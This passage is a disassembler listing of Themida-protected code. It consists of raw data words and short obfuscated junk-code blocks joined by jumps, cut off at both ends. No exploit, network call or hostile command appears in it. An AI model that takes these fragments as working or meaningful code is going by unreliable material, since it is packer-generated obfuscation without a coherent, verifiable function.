4C681E6h dd 68000000h, 2A77h, 0B8240489h, 4, 3358C601h, 34312434h dd 24343324h, 5324248Bh, 0B951E389h, 4, 0FFDFACE9h, 2974BBFFh dd 0D3F72F59h, 0D687EB81h, 0DE01D0A6h, 5B2434FFh, 8304C483h dd 348702C6h, 3CE95C24h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558D07: ; CODE XREF: Themida_:0055AE63j inc cl jmp loc_554D62 ; --------------------------------------------------------------------------- loc_558D0E: ; CODE XREF: Themida_:0055CDDDj push ebx mov ebx, 76A70431h push edx push ebp mov ebp, 7ADD44B5h or ebp, 62060534h jmp loc_55CAEE ; --------------------------------------------------------------------------- dw 1C87h dd 51E95C24h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558D2F: ; CODE XREF: Themida_:00551906j pop ecx shr eax, 0Ah jmp loc_55A1B1 ; --------------------------------------------------------------------------- dd 864946BFh, 0A3B9517Dh, 8118F255h, 9504D4C1h, 81D9F750h dd 0FA30E0E1h, 998BE93Bh, 665CFFFFh, 5524148Bh, 242C8B54h dd 5704C483h, 0D628DFBFh, 6E7C11Bh, 0FFACDCE9h, 111FB9FFh dd 0E981446Dh, 5F8E792Eh, 3556E181h, 0F18116F2h, 4D21554h dd 4A21EE81h, 0CE015542h, 0BC0E9h, 44E9AC00h, 80000006h dd 8852FEF3h, 0E9F088DEh, 229Ch, 0E9240431h, 0FFFF92A9h dd 24048B66h, 0FFDBE6E9h db 0FFh ; --------------------------------------------------------------------------- loc_558DB9: ; CODE XREF: Themida_:0055A8D3j dec edx xor edx, 548A660Bh mov ecx, edx pop edx push ebx mov ebx, 26816CCCh shr ebx, 7 add ebx, 259B2491h jmp loc_55CFA6 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 240C8900h, 4EC81h, 24890000h, 24048124h, 4, 0FF9193E9h db 0FFh ; --------------------------------------------------------------------------- loc_558DF5: ; CODE XREF: Themida_:005541DDj push small 0 jmp loc_55BEA4 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 83240C8Bh, 256804C4h, 89000069h, 5954240Ch dd 0FFBE04E9h, 51E589FFh, 4B9h, 0E9CD0100h, 0FFFFABA7h dd 240C8B66h, 0FFD825E9h, 2BAFFh, 0ED810000h, 46065F5Fh dd 0B850D501h, 29623125h, 0FFA9B2E9h, 0D9F741FFh, 19EEE9h dd 5BD93100h, 5759C829h, 0F7A37DBFh, 725F05BFh, 0B8E93B47h dd 0FF000019h, 0FF042474h, 34FF2434h, 8878E924h, 0C280FFFFh dd 5AD32847h, 0E1E9DE30h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558E83: ; CODE XREF: Themida_:0055C5EBj push esp pop ecx add ecx, 4 push esi mov esi, 7BE179CCh add esi, 841E8638h jmp loc_559E03 ; --------------------------------------------------------------------------- dd 0C8BC821h, 4C48124h, 0E9000000h, 238Eh ; --------------------------------------------------------------------------- loc_558EAC: ; CODE XREF: Themida_:00550F79j pop esi jmp loc_5516A6 ; --------------------------------------------------------------------------- loc_558EB2: ; CODE XREF: Themida_:00558B60j xchg esi, [esp] pop esp jmp loc_552873 ; --------------------------------------------------------------------------- db 89h dd 2AE92424h, 68000016h, 3AAh, 434E9h, 24048B00h, 2F768h dd 241C8900h, 0FFD274E9h, 0E9C831FFh, 311Ah ; --------------------------------------------------------------------------- loc_558EE4: ; CODE XREF: Themida_:00554480j add esp, 4 mov ecx, [esp] push ebx mov ebx, esp push eax mov eax, 4 jmp loc_55A570 ; --------------------------------------------------------------------------- loc_558EFB: ; CODE XREF: Themida_:0055A71Fj and edx, 594239C7h push 39D5h jmp loc_55741D ; --------------------------------------------------------------------------- db 57h dd 0FF9969E9h, 4E3C1FFh, 6B60F381h, 0EB817653h, 98B43CFEh dd 815EF329h, 8D7F7AC3h, 0C5CB8139h, 8122D93Bh, 44981DF3h dd 5BD801D1h, 0BDE9E831h, 89000019h, 6AE92414h, 83FFFFACh dd 92E904C4h, 6600002Fh, 0E9240C8Bh, 0FFFF8907h, 2806C2BBh dd 94A2E959h, 0C801FFFFh, 0FF81C7E9h, 60CD81FFh, 4D06EC77h dd 7F5DB850h, 0C52986EEh, 38F40558h, 0E8011243h, 0FF9AA4E9h dd 4C481FFh, 0E9000000h, 1C6Dh, 4E8835Bh, 5C240487h, 89243C89h dd 4C781E7h, 55000000h, 9A2E80BDh, 7EED810Eh, 0E90E9A2Eh dd 0FFFFE850h ; --------------------------------------------------------------------------- loc_558FB4: ; CODE XREF: Themida_:0055B826j sub edx, 19DB11CEh jmp loc_55914B ; --------------------------------------------------------------------------- db 57h dd 0B9515F54h, 5F3C3D60h, 81E68956h, 4C6h, 4EE8100h, 87000000h dd 0E95C2434h, 0FFFF8118h ; --------------------------------------------------------------------------- loc_558FE0: ; CODE XREF: Themida_:0055364Cj pop edx xor [esp+4], eax jmp loc_55A2C1 ; --------------------------------------------------------------------------- dw 8951h dd 4C181E1h, 83000000h, 0CDE904C1h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558FFB: ; CODE XREF: Themida_:005554B4j mov edi, 70AB7854h xor edx, edi pop edi push ebp push edi mov edi, 3C4742Ah mov ebp, edi pop edi sub edx, 1E4B1B91h sub edx, ebp add edx, 1E4B1B91h mov ebp, [esp] jmp loc_55297C ; --------------------------------------------------------------------------- db 68h dd 2222h, 54242C89h, 4EC815Dh, 89000000h, 4BE2434h, 0E9000000h dd 27FBh, 2B60F66h, 52F26866h, 24048966h, 0FF79F5E9h, 4C481FFh dd 50000000h, 4B8h, 0E9C10100h, 0FFFFE5A9h ; --------------------------------------------------------------------------- loc_559064: ; CODE XREF: Themida_:005597E7j add ebp, 4 xor ebp, [esp] jmp loc_556299 ; --------------------------------------------------------------------------- loc_559072: ; CODE XREF: Themida_:00554BF7j push edx mov edx, esp add edx, 4 push eax mov eax, 21FC43F1h jmp loc_55B257 ; --------------------------------------------------------------------------- dw 6664h dd 6602B60Fh, 666BCD68h, 0E9240489h, 0FFFF79AEh ; --------------------------------------------------------------------------- loc_559098: ; CODE XREF: Themida_:00554B07j add esp, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_554E6D ; --------------------------------------------------------------------------- db 0E9h, 8Ch, 79h dd 3C8BFFFFh, 4C48124h, 58000000h, 74226850h, 34890000h dd 79AEBE24h, 99E92819h, 54FFFFA6h, 4BE565Fh, 1000000h dd 0EF815EF7h, 4, 31243C33h, 3C33243Ch, 0C8B4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5590F6: ; CODE XREF: Themida_:0055B252j mov [esp], ecx push edx mov edx, 0FFFFFFFFh push edx jmp loc_553E9B ; --------------------------------------------------------------------------- loc_559105: ; CODE XREF: Themida_:0055C0EFj pop esp push 39EBh jmp loc_55965B ; --------------------------------------------------------------------------- dd 405E089h, 83000000h, 48704E8h, 1C895C24h, 9355E924h dd 0C801FFFFh, 724A0559h, 0F52D7B55h, 2177389Dh, 8FE958C3h db 0ABh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55913B: ; CODE XREF: Themida_:0055BA6Aj mov [esp], ebx xor dword ptr [esp], 2D3A488Eh pop eax jmp loc_55A719 ; --------------------------------------------------------------------------- loc_55914B: ; CODE XREF: Themida_:00558FBAj sub edx, 35F71F73h sub edx, 3C403F75h sub esp, 4 mov [esp], ebx jmp loc_554B1F ; --------------------------------------------------------------------------- loc_559165: ; CODE XREF: Themida_:00556D83j push ecx mov ecx, esp push esi mov esi, 4 add ecx, esi pop esi add ecx, 4 jmp loc_55A678 ; --------------------------------------------------------------------------- db 81h, 0F2h, 0CEh aXnsa db '$∙nИ═',8,0 align 4 loc_559184: ; CODE XREF: Themida_:0055C2BEj mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push edi mov edi, esp add edi, 4 jmp loc_557944 ; --------------------------------------------------------------------------- dd 215FF829h, 0CB7BE9C6h, 0E950FFFFh, 0FFFFA2A5h, 42D5Bh dd 4330000h, 24043124h, 0E9240433h, 0FFFFF17Dh ; --------------------------------------------------------------------------- loc_5591E0: ; CODE XREF: Themida_:00551B9Aj xchg ebx, [esp] pop esp mov [esp], ebx push 5DB7h mov [esp], edx push ebp jmp loc_55A92B ; --------------------------------------------------------------------------- db 5Bh, 81h, 0C6h dd 485A043Ah, 0EE81FE01h, 485A043Ah, 81243C8Bh, 4C4h, 31E95B00h db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559213: ; CODE XREF: Themida_:0055CF66j add esp, 4 jmp loc_55685D ; --------------------------------------------------------------------------- align 4 dd 4EC81D8h, 89000000h, 6851241Ch, 5B4Ah, 0B6241489h, 0E9F5883Ch dd 0FFFFDAE7h, 0E924248Bh, 0FFFF7806h ; --------------------------------------------------------------------------- loc_559240: ; CODE XREF: Themida_:0055617Dj pop esp or eax, eax jz loc_55297F push dword ptr [edi+28h] jmp loc_555E1B ; --------------------------------------------------------------------------- aZ4Se db '┤4$\И┘ ',0 align 2 dw 48Fh dd 24248B24h, 9C2404D2h, 0FF77DDE9h, 8BD988FFh, 25E9241Ch dd 1FFFFCCh, 0B5C181D9h, 5B44AA27h, 0FFB510E9h db 0FFh ; --------------------------------------------------------------------------- loc_559281: ; CODE XREF: Themida_:00555EE0j sub al, 6Eh pop dx push small 2CF5h mov [esp], bx push 2257h jmp loc_55427B ; --------------------------------------------------------------------------- loc_559297: ; CODE XREF: Themida_:0055300Bj or edx, 458152A9h shl edx, 2 sub edx, 8812F212h add eax, edx pop edx mov ecx, [esp] push ecx push esp jmp loc_558231 ; --------------------------------------------------------------------------- db 25h dd 4EF84D38h, 61797B05h, 86690535h, 0C1018806h, 68376858h dd 34890000h, 2BE24h, 0F1010000h, 0FFCCE4E9h, 4C481FFh dd 81000000h, 0FBDEA3C3h, 0E9D901FFh, 33A8h, 53240C89h dd 23386FBBh, 48BB532Ch, 5722010Bh, 0FF9E61E9h, 240489FFh dd 0D2685355h, 0E97CB470h, 0FFFFBC66h, 5A232Ch, 0CAB252D8h dd 525AD000h, 0BE56E289h, 4, 815EF201h, 4EAh, 24148700h dd 0FF81EEE9h, 30B2B7FFh, 525058E7h, 0D488FA88h, 0FFE2885Ah dd 9EE92434h, 0BB000008h, 44702857h, 0FF53DBF7h, 815B2404h dd 3E560CF3h, 2DB85020h, 21393776h, 1531E9C3h, 0E5890000h dd 4C581h, 0E9530000h, 0FFFFA5F5h, 5C241487h, 0E9243C89h dd 0FFFFF463h, 42E9F701h, 89FFFFC6h, 4C681E6h, 0E9000000h dd 0FFFFA41Fh ; --------------------------------------------------------------------------- loc_559398: ; CODE XREF: Themida_:005546EBj mov eax, 12731B4Eh add eax, 39813317h neg eax xor eax, 35915408h sub eax, 0FFFFFFFFh xor eax, 819AE595h add edx, eax pop eax inc edx xor edx, 79504380h add esi, 65D92D42h add esi, edx sub esi, 65D92D42h pop edx jmp loc_551B42 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h aHml7oys4 db 'hml7oYИй4',0 dw 2C00h dd 0DBB652ACh, 0FFE9C1E9h, 3CE957FFh, 88FFFF9Ch, 0F65B66F8h dd 68D086D2h, 0 dd 0F2242C80h, 80240428h, 8AF22404h, 0C4832404h, 0E9AB0404h dd 168Ch ; --------------------------------------------------------------------------- loc_559414: ; CODE XREF: Themida_:00552FC1j add edx, 7A523F2Ch push eax mov eax, 1 add edx, eax jmp loc_5527FB ; --------------------------------------------------------------------------- db 1 dd 0B9515BDAh, 3ABC277Bh, 21A6BB53h, 0D92949E4h, 4AEE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55943E: ; CODE XREF: Themida_:00554DA7j add al, 9 sub al, ch jmp loc_5511A5 ; --------------------------------------------------------------------------- db 1 dd 0BD555FFAh, 2, 0E95DEA01h, 0FFFF86D7h, 4C681h, 34870000h dd 2C335C24h, 242C3124h, 8B242C33h, 0D3662424h, 0E99C2424h dd 0FFFF75CEh, 4C781h, 28E90000h, 80FFFFBFh, 0D388FBF2h dd 7DEB805Ah, 0FF84FBE9h, 8392B7FFh, 148904ECh, 88FA8824h dd 805B5AD4h, 0B6E92EE4h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5594A7: ; CODE XREF: Themida_:00550B8Bj mov ah, 0F5h not ah neg ah xor ah, 91h jmp loc_559508 ; --------------------------------------------------------------------------- aN1HC db '╜1ьh<C',0 dd 0D144E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5594C2: ; CODE XREF: Themida_:00556501j push eax mov eax, 7D060D0Ah jmp loc_55A352 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0FF7ECEE9h, 28C2B4FFh, 344BE9E2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5594DE: ; CODE XREF: Themida_:0055338Aj add ecx, eax push edx mov edx, 3875035Eh shr edx, 3 neg edx neg edx sub edx, 0B3F36CB2h sub ecx, edx pop edx pop eax push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_550A46 ; --------------------------------------------------------------------------- loc_559508: ; CODE XREF: Themida_:005594B0j add bl, ah pop eax jmp loc_553637 ; --------------------------------------------------------------------------- dd 0E9241C33h, 1BCDh, 1EEBE951h, 23E90000h, 81FFFF75h dd 8D1C07EBh, 5BDE8912h, 0E95EF101h, 0FFFF9F47h, 0FF2434FFh dd 83592434h, 0EC8104C4h, 4, 0E9241489h, 0FFFF75E8h, 240C8B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_558106 ; --------------------------------------------------------------------------- dw 2C87h dd 0C233E924h, 3431FFFFh, 0C385E924h, 34FFFFFFh, 0C4835924h dd 4EB8104h, 87000000h, 895C241Ch, 0BB241Ch, 9000002h dd 34FF1C5Fh, 1108E924h, 8B660000h, 54502404h, 0BE565758h dd 57865B5h, 535EF789h, 0E72D2CBBh, 0BEA3E968h, 0FB01FFFFh dd 1E65EB81h, 0E95F3192h, 1DC4h, 8B28C1BEh, 0DEF74642h dd 0C681D6F7h, 0BD74D743h, 15EF589h, 0B8505DEFh, 4FCD5ADDh dd 5707E8C1h, 81A69BFh, 5CF78165h, 0E9441A64h, 0FFFF80A8h dd 4BAh, 5AD00100h, 31240433h, 4332404h, 896CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559602: ; CODE XREF: Themida_:0055CA0Aj add esp, 4 push ebx push esp mov ebx, [esp] jmp loc_552D9B ; --------------------------------------------------------------------------- db 1 dd 9CE95EF0h, 0C0FFFFFCh, 0D2F604E2h, 53CFCA80h, 0FA000BB7h dd 3DBE9h, 0EC835800h, 243C8904h, 0C781E789h, 4, 8704EF83h dd 895C243Ch, 2EBB241Ch, 502C4014h, 0B8h, 93D82900h, 0C1DBF758h dd 10E903EBh db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55965B: ; CODE XREF: Themida_:0055910Bj mov [esp], ebx push esp pop ebx add ebx, 4 add ebx, 4 jmp loc_55CA6B ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 66D00166h, 6650665Ah, 664EACB8h, 5866C329h, 0BF686655h dd 665D660Fh, 32D5E581h, 0C7C58166h, 0E5C16629h, 0B9665108h dd 49666E39h, 1CE98166h, 0CD296662h, 8BF9E959h, 0F829FFFFh dd 7C59CA2Dh, 0F6E95F37h, 81FFFFB4h, 4C7h, 74FF5700h, 3C8B0424h dd 4C48124h, 8F000000h, 0E0E92404h db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5596D7: ; CODE XREF: Themida_:005541F2j mov ecx, ebx pop ebx push esi mov esi, 1E9A18E7h and ecx, esi jmp loc_55622C ; --------------------------------------------------------------------------- loc_5596E7: ; CODE XREF: Themida_:0055B45Fj mov [esp], edi jmp loc_55993B ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF7352h ; --------------------------------------------------------------------------- loc_5596F4: ; CODE XREF: Themida_:005523A7j add ecx, 4 xchg ecx, [esp] jmp loc_559F14 ; --------------------------------------------------------------------------- loc_5596FF: ; CODE XREF: Themida_:00555250j pop ebx sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_556572 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 194CF168h, 0D8295B0Fh, 0FFACEEE9h db 0FFh ; --------------------------------------------------------------------------- loc_559729: ; CODE XREF: Themida_:00554EE2j mov esi, 0DA110AEh sub eax, esi pop esi jmp loc_55C65A ; --------------------------------------------------------------------------- dw 34FFh dd 240C8B24h, 0E904C483h, 0FFFFF8A6h, 24048B58h, 31FEE9h db 0 ; --------------------------------------------------------------------------- loc_55974D: ; CODE XREF: Themida_:00553C47j mov edi, [esp] add esp, 4 add ebx, ecx pop ecx jmp loc_55B4E2 ; --------------------------------------------------------------------------- db 66h dd 52240C8Bh, 46BE68h, 0E73DE900h, 48FFFFFh, 24248B24h dd 4AB0F66h, 0B8E99C24h, 8BFFFFB5h, 0C483240Ch, 24348704h dd 0FFBCC0E9h, 54B468FFh, 1C890000h, 0B0E95524h db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559797: ; CODE XREF: Themida_:00554254j push esi jmp loc_55B81B ; --------------------------------------------------------------------------- db 43h, 81h, 0EBh dd 0E6CED60Ah, 485BD889h, 0FF8481E9h, 1C77FFFFh, 411589Dh dd 8BE99C24h, 1FFFF72h, 9FFDE9C2h, 835AFFFFh, 3C8704C7h dd 0C83B5C24h, 7274E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5597D2: ; CODE XREF: Themida_:00554D00j mov edi, 3F584D13h sub [esp+4], edi mov edi, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_559064 ; --------------------------------------------------------------------------- dd 670E9ACh, 77FF0000h, 58669D1Ch, 24041966h, 9B2FE99Ch dd 0B551FFFFh, 89A2E942h, 0ED81FFFFh, 386439F4h, 0E252C581h dd 2FE9C7D8h, 0FFFFFF89h, 669D1C77h, 241CD259h, 721CE99Ch dd 0C281FFFFh, 1B7975C1h, 0E92434FFh, 0FFFFEC08h, 188668h dd 24148900h, 0D62E9h, 71FCE900h, 5F34FFFFh, 92E9C220h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559853: ; CODE XREF: Themida_:00558072j xor edx, 254369C1h shl edx, 5 sub edx, 74403AB5h jmp loc_553641 ; --------------------------------------------------------------------------- db 8Bh dd 0D8E92424h, 1FFFF74h, 0FF525BDAh, 5A042474h, 8B24048Fh dd 50E92424h, 6600002Fh, 1BACF681h, 86CE8166h, 0BF66576Bh dd 80E971A5h, 89000036h, 240C8BC8h, 4C481h, 44310000h dd 99E90424h, 68FFFFFEh, 6E16h, 55243C89h, 0BC5DCA68h dd 57455D3Ah, 0BFh, 87EF2900h, 8A6E9FDh, 0C7810000h, 0FFFFFFFFh dd 0CCFCC781h, 0C381A63Fh, 8F38D8h, 0B951FB01h, 8F38D8h dd 0E959CB29h, 15FCh, 1D4CC181h, 0C1814D58h, 25E436F4h dd 249EE181h, 0D1F73B33h, 0DDFDF181h, 0EA81918Dh, 3A5F6E02h dd 2980C281h, 0C2811B6Ah, 51DE1E2Ah, 0FFB96EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55991D: ; CODE XREF: Themida_:00557FC1j pop ebp jmp loc_55CDD7 ; --------------------------------------------------------------------------- db 0B5h dd 8BEB8868h, 0C483240Ch, 58C30004h, 2A9E9h, 0E2E95500h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55993B: ; CODE XREF: Themida_:005596EAj push dword ptr [esp+4] jmp loc_558789 ; --------------------------------------------------------------------------- loc_559944: ; CODE XREF: Themida_:0055BA72j xor ecx, [esp] pop esp push ebx push edx mov edx, 3A5A29B0h push edi jmp loc_55CA1A ; --------------------------------------------------------------------------- db 81h, 0C6h, 21h dd 5955424Ah, 8704C683h, 248B2434h, 0E9545324h, 0FFFFD5C9h ; --------------------------------------------------------------------------- loc_55996C: ; CODE XREF: Themida_:005578A9j add ecx, ebp pop ebp xor ecx, [esp] jmp loc_55BA6F ; --------------------------------------------------------------------------- db 58h dd 0EB435825h, 42562D3Ch, 0C28928C8h, 8124048Bh, 4C4h dd 0E95200h, 8BFFFFADh, 0C481240Ch, 4, 0D29C281h, 0C2016A9Bh dd 0D29EA81h, 81586A9Bh, 0A278CDEAh, 10C9E94Dh, 0C1810000h dd 2FF15FE6h, 323FE981h, 0C829521Dh, 0E9C68959h, 0FFFFBBF3h ; --------------------------------------------------------------------------- loc_5599CC: ; CODE XREF: Themida_:0055599Dj add esp, 4 sub ebp, 2EB36B46h not ebp sub ebp, 384EA636h jmp loc_55A656 ; --------------------------------------------------------------------------- dw 0EC83h dd 982AE904h, 0C980FFFFh, 0C0D1F6CAh, 0E9C003E1h, 0F1F18007h dd 0FF96A1E9h, 0E9FE09FFh, 14CBh, 287B045Bh, 5A7B2CD0h dd 83240C8Bh, 5DE904C4h db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559A17: ; CODE XREF: Themida_:00555B91j neg ebx sub ebx, 8F6A5B71h jmp loc_55BB36 ; --------------------------------------------------------------------------- dd 535AD331h, 0FFEEF2E9h, 5D4368FFh, 14890000h, 7B2BE924h dd 0AD66FFFFh, 68D83166h, 2F68h, 66243489h, 664ECBBEh dd 2B96651h, 22A6E944h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559A56: ; CODE XREF: Themida_:00556227j xchg edi, esi xchg eax, edi not eax xchg eax, edi xchg edi, esi jmp loc_55CCDF ; --------------------------------------------------------------------------- db 68h dd 0D9Ah, 0FF243C89h, 5F042474h, 0E924048Fh, 0FFFFA31Ch dd 0EB80F300h, 0C3805A9Fh, 0C0B60F2Bh, 87048F66h, 0FF6FB9E9h dd 0EC815BFFh, 4, 0FF240C89h, 8B042474h, 73E9240Ch, 8BFFFFC6h dd 0C4812414h, 4, 47CE9h, 0BABE5600h, 50599710h, 0D5606AB8h dd 58C6317Dh, 0FFA1F7E9h, 44B04FFh, 2CC80084h, 814B2C84h dd 4ECh, 24148900h, 0C3E98CB2h, 0C1FFFFD5h, 2BE908EDh db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559AE7: ; CODE XREF: Themida_:00556233j add ebp, 7ABD3441h push ebx mov ebx, 0D0B91812h xor ebp, ebx pop ebx add ecx, ebp pop ebp jmp loc_5577BE ; --------------------------------------------------------------------------- loc_559AFE: ; CODE XREF: Themida_:00552D02j mov [esp], eax push 2 pop eax jmp loc_557069 ; --------------------------------------------------------------------------- dd 4FBEC581h, 0C5015663h, 4FBEED81h, 0E9585663h, 2B55h dd 2C02C483h, 0B6E0E96Fh, 0BB53FFFFh, 634F5DA7h, 177EBA52h dd 0C2811EA8h, 44A74627h, 80E9D331h, 0FFFFFFEAh, 0C8B2434h dd 4C48324h, 84E95453h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559B53: ; CODE XREF: Themida_:0055B626j shl edx, 3 neg edx shl edx, 6 sub edx, 25027C4Ah or ebp, edx pop edx push edx mov edx, 2B662567h neg edx or edx, 4D0C78F6h and edx, 136963BEh jmp loc_552B97 ; --------------------------------------------------------------------------- db 0D1h, 0EFh, 0E9h dd 0FFFFD5A8h, 24048F54h, 331DE9h, 637EBA00h, 9A056043h dd 11E9B04h, 49A2DD0h, 685A1E9Bh, 28Ch, 0BF243C89h, 42A31329h dd 0EEAAE94Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559BB2: ; CODE XREF: Themida_:00556247j mov ecx, 43A76C5Dh inc ecx or ecx, 59B44875h xor ecx, 0B8AFA986h add edi, ecx pop ecx and eax, edi mov edi, [esp] add esp, 4 shr eax, 8 xor eax, ecx xor eax, ebp jmp loc_55A070 ; --------------------------------------------------------------------------- dw 0EB80h dd 2E3C0AEh, 0FF7536E9h, 545658FFh, 4C6815Eh, 0E9000000h dd 0FFFFC07Ch, 8654EF81h, 0FB316C2Eh, 2FC3815Fh, 31CF7C63h dd 241C8BD8h, 10E4E9h, 24048900h, 0BB53E089h, 32562840h dd 2414F753h, 98BE565Bh, 8178BF01h, 0C3113CE6h, 2164E97Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_559C32: ; CODE XREF: Themida_:0055AB9Ej push 1 pop ebp jmp loc_554BBA ; --------------------------------------------------------------------------- db 42h, 0E9h, 85h dd 81FFFFACh, 4C6h, 4C68100h, 87000000h, 45C2434h, 0DDD2E911h dd 8758FFFFh, 835C2434h, 348904ECh, 1A35BE24h, 0EB817F48h dd 74627DE7h, 2703EB81h, 69E91F7Eh, 7, 768EE9C3h, 0BA52FFFFh dd 740A3AC5h, 0FFB89CE9h db 0FFh ; --------------------------------------------------------------------------- loc_559C8D: ; CODE XREF: Themida_:0055CD3Fj and eax, ebx jmp loc_55524D ; --------------------------------------------------------------------------- dd 0B0ACF181h, 0CF31CAAFh, 0FFE894E9h, 86C381FFh, 0C11CFA37h dd 0C38105EBh, 0FE03E3DBh, 555BDD01h, 42474FFh, 81242C8Bh dd 4C4h, 24048F00h, 0E924248Bh, 2AA4h ; --------------------------------------------------------------------------- loc_559CCC: ; CODE XREF: Themida_:0055121Aj sub esp, 4 mov [esp], ebx mov ebx, 72C7434Fh push ebx push ebp push eax mov eax, 57E51A56h mov ebp, 0B965B24h jmp loc_551FB6 ; --------------------------------------------------------------------------- loc_559CE9: ; CODE XREF: Themida_:00555185j shl edx, 8 xor edx, 6D05DA20h jmp loc_5543C1 ; --------------------------------------------------------------------------- db 80h dd 0C3FE77E3h, 0D3F6E3D0h, 0C6FEF386h, 0F380F386h, 0E9DA30AAh dd 0FFFFD47Bh ; --------------------------------------------------------------------------- loc_559D10: ; CODE XREF: Themida_:00550A4Dj pop bx sub al, bl jmp loc_556A70 ; --------------------------------------------------------------------------- db 1, 0D8h, 5Bh dd 4EC81h, 14890000h, 73C36824h, 0FFE90000h, 0E9FFFFDDh dd 0FFFF6D12h, 83241C8Bh, 0FF5004C4h, 0E9042474h, 1457h dd 4C4815Bh, 0F3000000h, 2267E9A5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559D52: ; CODE XREF: Themida_:0055BC67j pop ecx add edx, 63C02701h jmp loc_559ED7 ; --------------------------------------------------------------------------- loc_559D5E: ; CODE XREF: Themida_:0055A3D5j push ebx mov ebx, 4 push edx mov edx, 167313EEh sub edi, edx pop edx jmp loc_55B27F ; --------------------------------------------------------------------------- loc_559D72: ; CODE XREF: Themida_:00552C89j push eax push dword ptr [esp+4] jmp loc_5583C9 ; --------------------------------------------------------------------------- dd 0BA241489h, 1021A29h, 0E94AD2F7h, 0FFFF804Ch ; --------------------------------------------------------------------------- loc_559D8C: ; CODE XREF: Themida_:0055105Dj pop ebp xor esi, 7DB72222h shr esi, 7 sub esi, 178681h add edi, esi pop esi push edx mov edx, 4 sub edi, edx jmp loc_552F37 ; --------------------------------------------------------------------------- dd 0E9E18951h, 0FFFFC5CBh, 0C4EA815Dh, 0E91D7779h, 0FFFF6C86h dd 560468h, 241C8900h, 2741E954h, 0E5880000h, 582434FFh dd 0E904C483h, 0FFFFBD6Eh, 8904EC83h, 468241Ch, 5B000000h dd 0FF83FBE9h, 2EF768FFh, 4890000h, 4EC8124h, 89000000h dd 6AE92424h db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559E03: ; CODE XREF: Themida_:00558E97j add ecx, esi pop esi xor ecx, [esp] jmp loc_55C661 ; --------------------------------------------------------------------------- dw 5450h dd 40558h, 42D0000h, 33000000h, 4312404h, 24043324h, 8924248Bh dd 74FF2404h, 0E9580424h, 0FFFFABF3h, 0C781E789h, 4, 0D23E9h dd 5E08900h, 4, 0E904E883h, 0FFFFAB83h, 66CD3166h, 3166E931h dd 2C3166CDh, 25ADE924h, 0D8300000h, 0FFB3F2E9h, 4C181FFh dd 68000000h, 4874h, 0FFAD50E9h, 148B66FFh, 98A7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559E82: ; CODE XREF: Themida_:0055AE51j pop edx add esp, 4 or edx, eax shl edx, 1 sub esp, 4 jmp loc_553820 ; --------------------------------------------------------------------------- loc_559E95: ; CODE XREF: Themida_:00556B7Bj sub ecx, 24B75F40h add edi, 5434123Fh sub edi, 79C9685Bh jmp loc_55C032 ; --------------------------------------------------------------------------- dd 0B753D800h, 0EC63E979h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559EB6: ; CODE XREF: Themida_:005545DCj push 4554h mov [esp], ecx mov ecx, 6A1A5C5Eh push 4F12h mov [esp], edi mov edi, 0 sub edi, ecx jmp loc_55C0FB ; --------------------------------------------------------------------------- loc_559ED7: ; CODE XREF: Themida_:00559D59j add edx, 0D5CB5952h sub ebp, edx pop edx xchg ebp, [esp] pop esp mov [esp], edx mov dh, 0ECh sub dh, 85h push cx mov ch, 0DEh sub dh, ch pop cx push ebx mov bh, dh mov ch, bh pop ebx pop edx add al, 6Bh sub al, ch sub al, 6Bh jmp loc_554E27 ; --------------------------------------------------------------------------- dw 8951h dd 4C181E1h, 0E9000000h, 0FFFFCECBh ; --------------------------------------------------------------------------- loc_559F14: ; CODE XREF: Themida_:005596FAj pop esp jmp loc_550A46 ; --------------------------------------------------------------------------- dw 0F180h dd 4F180A3h, 459CA00h, 51D028E0h, 0FFD4C5E9h, 4EC83FFh dd 0B3241C89h, 7BE38020h, 80FFC380h, 760484EBh, 29B6E9h dd 81E58900h, 4C5h, 0AA76E900h, 